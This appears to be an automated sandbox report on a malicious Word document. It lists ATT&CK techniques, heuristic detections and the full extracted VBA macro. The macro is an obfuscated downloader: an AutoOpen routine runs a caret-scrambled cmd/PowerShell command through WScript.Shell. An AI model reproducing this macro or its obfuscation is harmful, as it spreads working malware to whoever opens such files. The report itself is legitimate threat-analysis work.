MALICIOUS
310
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
T1105 Ingress Tool Transfer
The sample contains VBA macros that utilize WScript.Shell and CreateObject to execute commands. The AutoOpen macro is present, indicating it runs automatically upon opening the document. The primary function appears to be downloading and executing a second-stage payload, as suggested by the critical heuristic firings for Shell() and WScript.Shell usage.
Heuristics 10
-
ClamAV: Doc.Downloader.Generic-6665572-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6665572-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
On Error Resume Next bIBzJUjMD = CreateObject("WScript.Shell").Run(ChrW(7 + 11 + 4 + 1 + 44) + rMqYBsjKMod + zEjqhqzimu + WjcXajhz + QqTlGfnz + qwjCFuijZSD + jRihjWicHzf + OJobmlhiqUo + ZzJIRL + NUbVaYmliSIPoG + HijWWaiqMhKcW, 429100114 - 429100114) End Sub -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
On Error Resume Next bIBzJUjMD = CreateObject("WScript.Shell").Run(ChrW(7 + 11 + 4 + 1 + 44) + rMqYBsjKMod + zEjqhqzimu + WjcXajhz + QqTlGfnz + qwjCFuijZSD + jRihjWicHzf + OJobmlhiqUo + ZzJIRL + NUbVaYmliSIPoG + HijWWaiqMhKcW, 429100114 - 429100114) End Sub -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9702 bytes |
SHA-256: e682e252245add1cdfe75c69ef60507c605c5d9ce99b222dc94e8e5d5fb3a6a8 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
98 of 156 identifiers look randomly generated (e.g. 'UEGIsNBWDLcmTz'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "bWRoMqWUVLYQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "zNKbdFFfYvGTw"
Function WjcXajhz()
On Error Resume Next
Error CBool(aWBHFZ)
Error CDec(fNTCA)
mXXhj = "md " + "/v /c " + CStr(Chr(pVMmjQICKkBv + jqGfkDLjAGl + 34 + cMHrlFaU + UbcYiFHWlkCVE)) + " ^S^" + "e^T" + " " + "^ ^ ^" + "hd^se"
Error CBool(olrXf - DpMUCP * YRLcBP - rMTHr)
Error CByte(86843 - crfvJV - TALvtz - sEivq)
Error CStr(274497226)
Error CDate(qYEvB)
zjVit = "=^AAC" + "A^" + "gA" + "^A" + "IA"
Error Tan(fwjbMV / 79187)
Error Hex(3907)
cQvfTubCL = "^AC^Ag" + "A^AI" + "^A^" + "ACA^g" + "^A^A"
Error LCase(2)
Error LCase(jzLQG / UYTPd + sDZmTa * IJLCQf)
awVQIDR = "I^" + "AAC^AgA" + "A^" + "IAACA^g" + "^A^A" + "^IAACAg" + "A^Qf^"
Error TimeValue(12915 / PXqXG)
dXtqiqN = "A^0HA" + "7BAa^A^" + "M^G^A" + "^0^BQ^Y" + "^A" + "^MG"
Error Sqr(31)
TCWZSoh = "A^9" + "^Bw" + "OAs" + "^G" + "^A^h" + "BQ^ZA" + "^IH^AiB" + "^wO^" + "AM^H^Aw" + "^" + "BQQA" + "QC^A^g^" + "AQb^A^U"
Error Sqr(nIBGjD)
Error Val(ZCOGw)
Error Second(32)
VRRwhBK = "G^" + "A^0BQ^" + "S" + "^A^0C^A" + "lB^w" + "a^A8G" + "A2" + "^Bg^bAk" + "^E^A" + "^" + "7A^QK^" + "A^M"
Error Sgn(lGLwSw)
Error Month(237)
mJCHnXmdPl = "H" + "^A^w^BQ" + "QA" + "QC^A^" + "g"
Error Cos(2)
Error Second(VDAKvw / SjUAQt * iKkVs / iVMBA)
Error Oct(UzUHL)
Error Oct(jiSqnj)
NwXavzUVZ = "^A" + "ALA^Q^" + "E^AK" + "^B^Q^Y^" + "A^QC^Ao" + "^A^QZ^" + "A^wGA^" + "pBgR^" + "A" + "^QG^A" + "^h^B^" + "w^bA^w^"
Error Str(2482)
Error CCur(4)
Error Tan(62)
Error Hex(ujpJh)
Error CCur(oMGPJW)
MGwJdfJbnjK = "G^" + "Au^Bw^" + "d^A^8" + "G" + "^A^E" + "B^gL^"
Error Log(25)
Error CByte(dNkYZ)
Error CCur(ArwKSN)
vBEcJjHjDz = "AME^A^" + "u^BQ" + "S" + "^A" + "^QC" + "^A7B^Q^" + "e^A" + "^IH^A^0" + "Bw" + "eAkCA" + "1^B^w^" + "d^A^" + "wE^A^k"
Error Month(MRbTY)
Error Tan(26)
Error CByte(fijCk)
HCVNzvH = "A^A^I^" + "A4G^A^p" + "B^AI^A" + "^QE^A^K" + "B^QYAQ" + "CAo"
WjcXajhz = mXXhj + zjVit + cQvfTubCL + awVQIDR + dXtqiqN + TCWZSoh + VRRwhBK + mJCHnXmdPl + NwXavzUVZ + MGwJdfJbnjK + vBEcJjHjDz + HCVNzvH
Error Sqr(mvWwlE)
Error CDec(68)
Error CStr(bndvZ)
Error CDec(8)
End Function
Function QqTlGfnz()
On Error Resume Next
Error Sqr(3388)
Error Val(42140 + AfrQH / 93525 + AlaMSc)
JBSQwB = "^A^A^a^" + "A^M" + "^G^A^h^" + "B^" + "Q^Z" + "AIH^" + "AvB^gZ^" + "AsD^" + "AnA^QZA" + "^g" + "^H^"
Error Second(69507 * bHmtH + lQIdu * iZqDp)
Error Cos(WwbXK)
Error Str(2128)
DwzCQBYRV = "A" + "lBg" + "^LAc" + "C^" + "Ar^A" + "g" + "a" + "A" + "E^E"
Error LCase(FZMPOW)
Error CByte(bhYJPo)
Error CDec(Vcoru + YuDNl)
Error Sqr(710)
Error Oct(5766 + joXqI)
KfLkr = "Ah^B" + "A^JAs" + "CAnAAXA" + "cCAr" + "A^" + "wY^A^k" + "G^As"
Error CStr(6183)
iZJlOFF = "B^g^YA^" + "UH^A^wB" + "^" + "gOA" + "^YHAuB^"
Error Atn(fnpDA - ASnzT - 6437 + KiWOf)
Error TimeValue(119)
vUOvNrU = "QZ^A^QC" + "^A9A^" + "wcAAH" + "AB^" + "BAJ^As" + "D^A" + "nAQ^OA" + "IDA0A^" + "wJA" + "^AC" + "^A9"
Error CBool(4)
Error Sgn(SmELtF)
Error Cos(30099 + LvNEM)
Error Oct(lqIcN)
OfIbUEwW = "A^AI^" + "A^oG^A^" + "B^B^Q" + "^Y^A" + "QCA7^AQ" + "KAcC" + "AAB" + "^wJAgC" + "A0BQa^" + "A^w^GAw" + "^B^"
Error CBool(73)
Error CDec(64107 + FGUzD * 69986 - 39256)
Error Str(142)
waYzd = "wU^A4CA" + "n^A" + "QVA" + "8GA" + "3" + "BAa^"
Error CStr(auaSOd)
Error CCur(wihian - YZPiVK)
Error CCur(ziGsT)
LwpNEQjsPS = "AA^HAWB" + "wL^AQ^H" + "^Ap^B" + "gL^A^kD" + "A^5^A^" + "A^Z" + "^" + "A^EG^" + "AuAQYA" + "k^G^A^u" + "B^Q^Y" + "A^Q^H^"
Error Cos(HFBmYZ)
Error CDate(MXWUSd)
Error CDec(iABwKM)
Error Int(228388933)
NXFCRi = "AvA" + "w^L" + "^" + "A" + "^o" + "DA" + "^w^B" + "Ad^A^"
Error CDbl(PDrlD)
Error CStr(ACjHk)
Error Sgn(oLArn)
Error Int(DuVzP)
icZMz = "QH" + "AoBA" + "Q^A" + "kHA3A" + "^QR" + "^AYGA" + "M"
QqTlGfnz = JBSQwB + DwzCQBYRV + KfLkr + iZJlOFF + vUOvNrU + OfIbUEwW + waYzd + LwpNEQjsPS + NXFCRi + icZMz
Error Cos(nwUpwc)
Error Str(WwAhvP + pUkkNa + 46639 + 65109)
End Function
Function qwjCFuijZSD()
On Error Resume Next
Error Round(lwrWjj)
Error CStr(416280741)
Error Rnd(HXcaa + 85076)
EmPwlCSuM = "^BQY^" + "AE^DAv" + "^A^" + "Q^b^A^8" + "G^A" + "^j" + "Bg" + "^L^A^U" + "^GAy" + "^BQ^Y^" + "AoHA"
Error Month(26976 - OQGEA / 82734 * vARUpl)
Error CByte(211)
Error Round(27)
Error CByte(MizMCQ)
ENMosTpC = "^uAA^Z" + "A^4G^" + "A1^B" + "^wb^AI" + "^H" + "^An^B"
Error CBool(1802)
Error CDate(18486 + RCupcY)
Error CDbl(8)
KNiqjkN = "g^dA^" + "UG^A^kB" + "^w^L" + "^A^8C" + "A6" + "^AAcA^" + "Q"
Error CDate(pGMzis)
Error Sqr(fhEGFt)
Error CStr(WWaBD * daRXtq - 84896 / VKqwPU)
WiqJPLrXEWv = "H" + "A0^BA^" + "a^A" + "^A^" + "E^A" + "R^Bg" + "bA^M^F^" + "Av^A^" + "Q^"
Error Str(kVuLz)
Error Val(tPNrY)
Error Str(515652482)
Error CVar(OZQOKB / vuAkC - 14426 + cXfsrs)
TMiLrvIT = "bA8" + "^G^" + "A^j^B^g" + "L^Ao" + "^" + "HA"
Error Rnd(zawiqE)
Error CCur(dIJME)
jDLmJ = "kBQL" + "^" + "AE^G" + "^A^p" + "^B" + "AZ^A^U" + "^G^A" + "tBwc^A^"
qwjCFuijZSD = EmPwlCSuM + ENMosTpC + KNiqjkN + WiqJPLrXEWv + TMiLrvIT + jDLmJ
Error Oct(BjtQq)
Error Val(7015)
Error Val(rhwhq)
Error Str(477)
End Function
Function jRihjWicHzf()
On Error Resume Next
Error Round(34059094)
Error CCur(6685)
vIXTF = "k" + "HAz" + "BAa" + "^AMGA" + "l^B^Ad^" + "A4C" + "A"
Error Round(IwmTTZ)
Error CVar(jzwQkE)
Error Tan(nkSbTi)
qDIUFfIjk = "^z^A" + "^wc" + "^A8CAvA" + "gO" + "AAHA0^"
Error CDec(ZlIqk)
Error Atn(TCnjp)
Error CByte(YTGHh)
Error CCur(WaGfi)
rnsjqA = "BAd^" + "A^g^GA" + "^ABA^e" + "A^E^" + "GAM^B^A" + "^d^AgF^" + "A^1^Aw^" + "LAgGA" + "j^" + "Bg" + "^L^AUGA" + "^kBQ^" + "d^A^Q"
Error CDec(rEhzv)
Error CVar(aAznR)
dHJwCovnSDz = "^H^A" + "pBA" + "dA^" + "A" + "HAwB^Q" + "^YA^" + "4CA" + "0B^A^" + "d^A^kGA" + "^yB" + "^g^Y^A8"
Error CDbl(cOBtGJ / RAhNGl)
Error CVar(CELjZ)
Error CStr(FfwAiC)
Error CByte(wjGTtQ)
iaBYzwRuQp = "GA^0BQd" + "^AE^GAv" + "A" + "^w" + "LA"
Error Cos(YOHzrb - GvGsI)
Error Sgn(DWmpo)
Error Int(JVEXi)
PndFSw = "o^DAwB^" + "Ad^A^Q^" + "H" + "^A" + "oB" + "AQ^A^"
Error Sin(NpMHU)
Error CDec(39744 - CItDW / 97836 + LFcoa)
Error CCur(YIjwQ)
Error Month(zRlvvX)
Error Sgn(uAqBI)
zWCrNsSrZIK = "QD^A5" + "Aw^" + "L" + "^A^EG" + "^Aj" + "^B^gLA" + "^U^GA^" + "y^B^Q" + "^dAQ^HA" + "^1Bg" + "Z^A^E^"
jRihjWicHzf = vIXTF + qDIUFfIjk + rnsjqA + dHJwCovnSDz + iaBYzwRuQp + PndFSw + zWCrNsSrZIK
Error LCase(NdFXVE)
Error Second(57347 * TwDIk)
Error Int(oLWuq / JGdasn * OrcAEa + TjRwjI)
End Function
Function OJobmlhiqUo()
On Error Resume Next
Error Hex(EVbvVL)
pwfHu = "G" + "A^z" + "B^gL^A^" + "EG^A^" + "0B^" + "QYAQ^" + "G^A" + "uB^QZ^A" + "A" + "H^Av^"
Error Int(87246 / zldWRi - EFtYN + kfrJbp)
Error Round(zXRonT)
Error CStr(Izcvj)
fVFkYcZP = "B^w^" + "L^A^8C" + "^A^6" + "A" + "AcA^QH^" + "A0^BA" + "a^A" + "cC^" + "A9"
Error Month(zhZFjA + brmqQi)
BiodjL = "^A^Q^d" + "AcH" + "^A^" + "M^B^A^J" + "AsDA0B"
Error CVar(OjqmA)
Error Atn(kaPknF)
Error Rnd(64697 - 59910 / 16941 * 14245)
ihLLi = "g" + "^" + "b" + "^A" + "^U^G"
Error Second(31292 + cIABE)
Error Str(5)
Error CDate(16712 * 58326 * VtTZn + FlWzu)
uAQYjhJFjAI = "^A^pB^A" + "bA" + "MEA" + "iBQZ" + "Ac" + "^F^A^u" + "A^A^d" + "^AU" + "GA^O" + "B^A^" + "IA" + "^QH^A"
Error Sqr(rRXFc * piEoE - mwWkWi - MiQAcb)
Error CDec(uWdDpd)
Error CCur(18)
mqYdV = "j^B" + "QZ" + "AoG^Ai^" + "B^" + "w^bA" + "^0CA"
Error Cos(FzkiLA)
Error Rnd(oiLTc)
Error Sqr(48088 / BtfOO - iaTmzO * SjGoa)
Error CDate(UCQtAP)
Error Oct(30)
Error Cos(5749)
wpzcwzJuCjz = "3^B^Q" + "Z^A4" + "G^" + "A9^A" + "wQ"
Error Val(wLTjpk)
Error Atn(YHojif / ihKwQ / EppaT + 45772)
kjVwi = "^A4^G" + "AJ^BA" + "^J^" + " ^e- " + "^ll^" + "eh" + "^sre^" + "w^o" + "p&& " + " "
Error CCur(831)
Error Month(8)
Error CBool(JFkAh / SELiu - GAqWq / 21391)
wXoavV = " ^" + "fO" + "r " + "/^" + "l %" + "^T " + "^I" + "n " + "(^"
Error Sgn(652)
Error Sqr(cuViI)
Error Month(78)
cXvEaaDl = " ^98^1" + " ^ ^," + "^ ^-1^ " + " " + "^ ^,^ " + "^0" + " ^ ^ ^ " + ") D^" + "O ^se" + "^T " + "X^H"
Error Oct(udQWYv)
Error Tan(901)
wbGjjkFoIY = "^Qr=!X" + "^H^" + "Qr!!" + "^hd^se:" + "~ %^" + "T, 1" + "!& ^I"
Error CStr(12785663)
Error CVar(295720295)
Error Oct(9409 / JUiZd)
lsanWCoHzKX = "F " + " " + "%" + "^T L^" + "E^" + "q ^0 " + "C^a^" + "l"
OJobmlhiqUo = pwfHu + fVFkYcZP + BiodjL + ihLLi + uAQYjhJFjAI + mqYdV + wpzcwzJuCjz + kjVwi + wXoavV + cXvEaaDl + wbGjjkFoIY + lsanWCoHzKX
Error TimeValue(Laojdp + CBwrpH * rpdRa / JuMoU)
End Function
Function ZzJIRL()
On Error Resume Next
Error Str(2041 * jsLNkj + cmvGv - WvCPNJ)
Error CCur(wMashQ)
VQFqKQ = "^" + "l %X^" + "H^Qr:*^" + "X" + "H^" + "Qr^!" + "=%" + CStr(Chr(kjXJUGBcKfp + PpFLjzmDHijat + 34 + UEGIsNBWDLcmTz + pCOHvfrmGdZdF)) + ""
ZzJIRL = VQFqKQ
Error Val(VFdGS)
End Function
Attribute VB_Name = "kTzTETTaQQDikV"
Sub AutoOpen()
On Error Resume Next
bIBzJUjMD = CreateObject("WScript.Shell").Run(ChrW(7 + 11 + 4 + 1 + 44) + rMqYBsjKMod + zEjqhqzimu + WjcXajhz + QqTlGfnz + qwjCFuijZSD + jRihjWicHzf + OJobmlhiqUo + ZzJIRL + NUbVaYmliSIPoG + HijWWaiqMhKcW, 429100114 - 429100114)
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.